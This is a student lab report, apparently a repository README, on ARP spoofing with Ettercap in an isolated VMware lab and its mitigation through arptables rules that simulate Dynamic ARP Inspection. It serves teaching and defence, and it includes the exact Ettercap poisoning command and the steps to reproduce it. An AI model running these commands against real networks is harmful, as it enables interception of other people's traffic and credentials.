ARP Spoofing with Ettercap and Mitigation using Dynamic ARP Inspection

---

Table of Contents

1. Overview
2. Scope and Objectives
3. Lab Topology
4. Tools and Environment
5. Methodology
6. Attack Chain
7. Findings and Results
8. Evidence
9. Mitigation and Remediation
10. Lessons Learned
11. References
12. Author

---

Overview

This repository documents a controlled Layer-2 network attack simulation conducted as part of the CY375: Network Security, Auditing and Monitoring laboratory exercise at the University of Mines and Technology (UMaT), Tarkwa, Ghana.

The exercise demonstrates an ARP spoofing attack executed using Ettercap on an isolated virtual network, enabling a Man-in-the-Middle (MitM) position between a victim host and its default gateway. Network traffic was captured and analysed using Wireshark. Mitigation was implemented using Dynamic ARP Inspection (DAI) simulated via arptables on Kali Linux due to hardware constraints preventing nested virtualisation successfully blocking 45 spoofed ARP packets and neutralising the attack.

All activity was conducted in an authorised, isolated VMware lab environment. No production or external systems were accessed.

---

Scope and Objectives

Scope

Item	Detail
Environment	Isolated VMware Workstation virtual network
Network	192.168.10.0/24 — Host-Only adapter (VMnet1)
Target (Victim)	Windows 10 VM — 192.168.10.10
Attacker	Kali Linux VM — 192.168.10.20
Simulated Gateway	192.168.10.1 (assigned to Kali eth1)
VLAN	VLAN 10 (simulated)

Out of Scope

• External networks or internet-facing systems
• Any production infrastructure
• Physical Cisco switch configuration (replaced with arptables due to hardware constraints)

Objectives

1. Demonstrate ARP spoofing using Ettercap to achieve a MitM position on a Layer-2 network
2. Capture and analyse attack traffic using Wireshark to produce forensic evidence
3. Configure and validate Dynamic ARP Inspection (DAI) to mitigate the attack
4. Verify mitigation effectiveness through arptables packet drop statistics

---

Lab Topology

Victim (192.168.10.10/24)
        |
        +---- Switch (VLAN10 — simulated) ---- Gateway (192.168.10.1)
        |                                            |
        +---------------------------------------- Attacker/Kali (192.168.10.20/24)
                                                  eth1: 192.168.10.20
                                                  eth1: 192.168.10.1 (alias)
                                                  eth0: 192.168.128.132 (NAT)

MAC Address Inventory

Host	IP Address	MAC Address
Kali Linux (Attacker)	192.168.10.20 / 192.168.10.1	00:0c:29:7a:24:43
Windows 10 (Victim)	192.168.10.10	00:0c:29:68:59:85

---

Tools and Environment

Tool	Version	Purpose
VMware Workstation	—	Virtualisation platform
Kali Linux	Rolling	Attacker machine
Windows 10 x64	—	Victim machine
Ettercap	0.8.4.1	ARP spoofing / MitM execution
Wireshark	4.6.6	Network traffic capture and analysis
arptables	—	DAI simulation — ARP packet filtering
netsh	—	Windows static IP and firewall configuration
nmcli	—	Kali network interface management
ip (iproute2)	—	Interface alias and route management

---

Methodology

This exercise follows the NIST SP 800-115 Technical Guide to Information Security Testing and Assessment and maps attack techniques to the MITRE ATT&CK framework.

Phase 1 — Reconnaissance and Baseline

1. Verified network connectivity between attacker and victim using ping and arp -a
2. Captured baseline ARP traffic on eth1 using Wireshark with an arp display filter
3. Documented initial ARP tables on both Kali and Windows 10

# Verify connectivity
ping 192.168.10.10

# Inspect baseline ARP cache
arp -a
ip neigh

Phase 2 — Pre-Attack Configuration

1. Enabled IP forwarding on Kali to maintain victim connectivity during MitM

sudo sysctl -w net.ipv4.ip_forward=1
cat /proc/sys/net/ipv4/ip_forward
# Expected output: 1

2. Assigned gateway alias IP to eth1 to simulate a real gateway

sudo ip addr add 192.168.10.1/24 dev eth1
ip a show eth1

3. Configured Windows 10 static IP and ICMP firewall rule

netsh interface ip set address name="Ethernet1" static 192.168.10.10 255.255.255.0 192.168.10.20
netsh advfirewall firewall add rule name="Allow ICMPv4" protocol=icmpv4:8,any dir=in action=allow

Phase 3 — Attack Execution

Launched Ettercap ARP poisoning attack targeting the victim and simulated gateway:

sudo ettercap -T -M arp:remote -i eth1 /192.168.10.10// /192.168.10.1//

Flag	Description
-T	Text-only interface
-M arp:remote	MitM via ARP poisoning (remote mode)
-i eth1	Bind to Host-Only interface
/192.168.10.10//	Target 1 — Victim
/192.168.10.1//	Target 2 — Gateway

Phase 4 — Observation and Evidence Collection

Monitored the victim ARP cache and Wireshark capture for signs of successful poisoning. Confirmed when victim mapped gateway IP 192.168.10.1 to Kali's MAC 00:0c:29:7a:24:43.

Phase 5 — Mitigation via DAI

Configured arptables rules to simulate DHCP Snooping and Dynamic ARP Inspection:

# Flush existing rules
sudo arptables -F

# Allow only legitimate ARP bindings
sudo arptables -A INPUT --source-ip 192.168.10.10 --source-mac 00:0c:29:68:59:85 -j ACCEPT
sudo arptables -A INPUT --source-ip 192.168.10.1 --source-mac 00:0c:29:7a:24:43 -j ACCEPT

# Drop all other ARP packets
sudo arptables -A INPUT -j DROP

# Verify
sudo arptables -L -v --numeric

Phase 6 — Mitigation Verification

Re-executed the Ettercap attack after DAI rules were applied. Verified blocked packets via arptables statistics and confirmed the victim ARP cache was no longer poisoned.

---

Attack Chain

[Initial Access]
  Kali attacker positioned on same Layer-2 segment as victim
  MITRE ATT&CK: T1200 — Hardware Additions (network positioning)

        |
        v

[Discovery]
  ARP cache inspection and network host enumeration
  arp -a | ip neigh
  MITRE ATT&CK: T1018 — Remote System Discovery

        |
        v

[Credential / Traffic Access]
  IP forwarding enabled — Kali becomes transparent relay
  sudo sysctl -w net.ipv4.ip_forward=1
  MITRE ATT&CK: T1557.002 — ARP Cache Poisoning

        |
        v

[Execution]
  Ettercap launches ARP poisoning
  Victim ARP cache maps gateway IP to attacker MAC
  Kali intercepts all victim-to-gateway traffic
  MITRE ATT&CK: T1557 — Adversary-in-the-Middle

        |
        v

[Collection]
  All victim traffic routed through Kali
  Wireshark captures plaintext traffic
  MITRE ATT&CK: T1040 — Network Sniffing

        |
        v

[Mitigation Applied]
  arptables DAI rules enforce legitimate ARP bindings
  45 spoofed ARP packets dropped
  Attack neutralised

---

Findings and Results

Finding F-001 — ARP Cache Poisoning via Ettercap

Field	Detail
ID	F-001
Severity	[HIGH]
CVSS v3.1 Score	8.1
CVSS Vector	AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CWE	CWE-923 — Improper Restriction of Communication Channel to Intended Endpoints
MITRE ATT&CK TTP	T1557.002 — ARP Cache Poisoning
Affected Component	Layer-2 network segment — VLAN 10 (192.168.10.0/24)

Description

ARP (Address Resolution Protocol) operates without authentication, allowing any host on a Layer-2 segment to broadcast unsolicited ARP replies mapping arbitrary IP addresses to attacker-controlled MAC addresses. Ettercap exploited this by continuously sending gratuitous ARP replies to the victim, remapping the gateway IP 192.168.10.1 to the attacker MAC 00:0c:29:7a:24:43.

Technical Impact

• Victim routed all gateway-bound traffic through the attacker machine
• Attacker achieved a transparent Man-in-the-Middle position
• All unencrypted traffic became subject to interception and modification

Business Impact

• Credentials transmitted over unencrypted protocols (HTTP, FTP, Telnet) would be exposed
• Session hijacking possible for unauthenticated web applications
• Data integrity of network communications compromised

Proof of Concept

Victim ARP table after attack (Windows CMD output):

Interface: 192.168.10.10 --- 0x6
  Internet Address      Physical Address      Type
  192.168.10.1          00-0c-29-7a-24-43     dynamic   <- Attacker MAC
  192.168.10.20         00-0c-29-7a-24-43     dynamic   <- Attacker MAC

Wireshark confirmed Kali (VMware_7a:24:43) sending unsolicited ARP reply:

Packet 5: VMware_7a:24:43 -> VMware_68:59:85
  ARP: 192.168.10.1 is at 00:0c:29:7a:24:43

Reproduction Steps

# Step 1 — Enable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=1

# Step 2 — Assign gateway alias
sudo ip addr add 192.168.10.1/24 dev eth1

# Step 3 — Launch attack
sudo ettercap -T -M arp:remote -i eth1 /192.168.10.10// /192.168.10.1//

# Step 4 — Verify on victim
arp -a

---

Mitigation Result — DAI Effectiveness

Metric	Value
Legitimate ARP packets accepted	4
Spoofed ARP packets dropped	45
Bytes blocked	2,070
Victim ARP cache status after mitigation	Clean
Attack success after DAI	Negative

arptables statistics output after mitigation:

Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
-j ACCEPT  -s 192.168.10.10  --src-mac 00:0c:29:68:59:85  pcnt=4  bcnt=184
-j ACCEPT  -s 192.168.10.1   --src-mac 00:0c:29:7a:24:43  pcnt=0  bcnt=0
-j DROP                                                    pcnt=45 bcnt=2070

---

Evidence

All evidence files are organised in the following repository structure:

/
├── images/
│   ├── 01_kali_arp_baseline.png
│   ├── 01_windows_arp_baseline.png
│   ├── 02_wireshark_baseline.png
│   ├── 03_ip_forwarding_enabled.png
│   ├── 04_wireshark_arp_poison.png
│   ├── 05_ettercap_running.png
│   ├── 06_dai_arptables_rules.png
│   ├── 06_wireshark_attack_captured.png
│   ├── 07_dai_rules_applied.png
│   ├── 07_dai_statistics_blocked.png
│   └── 08_final_windows_arp_clean.png
│
└── wireshark-files/
    ├── 02_baseline_arp_capture.pcap
    └── 06_attack_capture.pcap

Evidence Table

ID	File	Description	Phase
E-01	images/01_kali_arp_baseline.png	Kali ARP cache before attack	Baseline
E-02	images/01_windows_arp_baseline.png	Windows ARP cache before attack	Baseline
E-03	images/02_wireshark_baseline.png	Wireshark baseline ARP capture	Baseline
E-04	images/03_ip_forwarding_enabled.png	IP forwarding enabled on Kali	Pre-attack
E-05	images/04_wireshark_arp_poison.png	Wireshark capturing ARP poison packets	Attack
E-06	images/05_ettercap_running.png	Ettercap MitM attack active	Attack
E-07	images/06_dai_arptables_rules.png	DAI arptables rules configured	Mitigation
E-08	images/06_wireshark_attack_captured.png	Full attack traffic in Wireshark	Attack
E-09	images/07_dai_rules_applied.png	DAI rules applied and active	Mitigation
E-10	images/07_dai_statistics_blocked.png	45 packets dropped by DAI	Verification
E-11	images/08_final_windows_arp_clean.png	Clean ARP cache post-mitigation	Verification
E-12	wireshark-files/02_baseline_arp_capture.pcap	Baseline ARP PCAP	Baseline
E-13	wireshark-files/06_attack_capture.pcap	Attack ARP PCAP	Attack

Selected Screenshots

Baseline ARP Table — Kali

Figure 1: Initial ARP cache on Kali Linux before attack execution

Wireshark — ARP Poison Packets Captured

Figure 2: Wireshark capture showing Kali (VMware_7a:24:43) broadcasting unsolicited ARP replies — Packet 5 confirms gateway IP remapped to attacker MAC

Ettercap — MitM Active

Figure 3: Ettercap confirming ARP poisoning victims — Victim MAC 00:0c:29:68:59:85 identified

DAI Statistics — Attack Blocked

Figure 4: arptables DROP rule showing 45 spoofed ARP packets blocked (2,070 bytes) — DAI mitigation confirmed effective

Post-Mitigation ARP Cache — Windows

Figure 5: Windows ARP cache after DAI applied — gateway no longer mapped to attacker MAC

---

Mitigation and Remediation

Primary Control — Dynamic ARP Inspection (DAI)

DAI validates ARP packets against a trusted DHCP Snooping binding table, dropping any ARP reply where the IP-to-MAC mapping does not match a known legitimate binding.

Cisco IOS Reference Configuration (production equivalent):

! Enable DHCP Snooping globally
ip dhcp snooping
ip dhcp snooping vlan 10

! Mark uplink/trusted ports
interface GigabitEthernet0/1
 ip dhcp snooping trust

! Enable DAI on VLAN 10
ip arp inspection vlan 10

! Verification commands
show ip dhcp snooping binding
show ip arp inspection statistics
show ip arp inspection vlan 10

Lab Implementation (arptables simulation):

sudo arptables -F
sudo arptables -A INPUT --source-ip 192.168.10.10 --source-mac 00:0c:29:68:59:85 -j ACCEPT
sudo arptables -A INPUT --source-ip 192.168.10.1  --source-mac 00:0c:29:7a:24:43  -j ACCEPT
sudo arptables -A INPUT -j DROP

Supporting Controls

Control	Description	Priority
Static ARP entries	Bind critical hosts (gateway, DNS) to static ARP entries	[SHORT-TERM]
802.1X Port Authentication	Authenticate devices before granting Layer-2 access	[PLANNED]
Network segmentation	Isolate sensitive hosts into separate VLANs with ACLs	[PLANNED]
Encrypted protocols	Enforce TLS/SSH — limits value of intercepted traffic	[IMMEDIATE]
Network monitoring	Deploy IDS with ARP anomaly detection (e.g. XArp, Suricata)	[SHORT-TERM]

---

Lessons Learned

1. ARP is fundamentally unauthenticated. Any host on a Layer-2 segment can poison the ARP cache of any other host without requiring elevated privileges or prior access. This is a structural protocol limitation, not a misconfiguration.

2. DAI is effective when properly bound to DHCP Snooping. The arptables simulation dropped 45 spoofed packets with zero false positives, confirming that IP-to-MAC binding enforcement is the correct mitigation layer.

3. Hardware constraints require documented workarounds. Nested virtualisation limitations prevented GNS3/EVE-NG deployment. The arptables approach was documented transparently and produced equivalent, verifiable results.

4. Wireshark is the definitive forensic tool for Layer-2 analysis. Packet-level inspection confirmed the exact moment of ARP cache poisoning and the subsequent neutralisation after DAI was applied.

5. Interface binding is critical in multi-homed attacker configurations. Ettercap defaulted to eth0 (NAT interface) rather than eth1 (Host-Only). Explicit -i eth1 binding is mandatory when the attacker has multiple network interfaces.

---

References

1. Plummer, D. (1982). An Ethernet Address Resolution Protocol. RFC 826. IETF. https://www.rfc-editor.org/rfc/rfc826
2. MITRE Corporation. (2024). T1557.002 — ARP Cache Poisoning. MITRE ATT&CK. https://attack.mitre.org/techniques/T1557/002/
3. MITRE Corporation. (2024). T1040 — Network Sniffing. MITRE ATT&CK. https://attack.mitre.org/techniques/T1040/
4. NIST. (2008). Technical Guide to Information Security Testing and Assessment. SP 800-115. https://csrc.nist.gov/publications/detail/sp/800-115/final
5. FIRST.org. (2019). CVSS v3.1 Specification Document. https://www.first.org/cvss/v3.1/specification-document
6. CWE. (2024). CWE-923: Improper Restriction of Communication Channel to Intended Endpoints. https://cwe.mitre.org/data/definitions/923.html
7. Cisco Systems. (2024). Configuring Dynamic ARP Inspection. Cisco IOS Security Configuration Guide. https://www.cisco.com/c/en/us/td/docs/switches/lan/catalyst6500/ios/12-2SX/configuration/guide/book/dynarp.html
8. Ettercap Project. (2024). Ettercap Documentation. https://www.ettercap-project.org/
9. Wireshark Foundation. (2024). Wireshark User's Guide. https://www.wireshark.org/docs/wsug_html_chunked/

---

Author

Michael Asante Anim | 0x1aerixis BSc Cyber Security — University of Mines and Technology (UMaT), Tarkwa, Ghana

"Built in the lab. Documented for the field."

---

Disclaimer: All work documented in this repository was conducted in an authorised, isolated VMware virtual lab environment. No external, production, or third-party systems were accessed. This project is intended for educational and portfolio purposes only, as part of the CY375 laboratory assessment at the University of Mines and Technology (UMaT), Tarkwa, Ghana.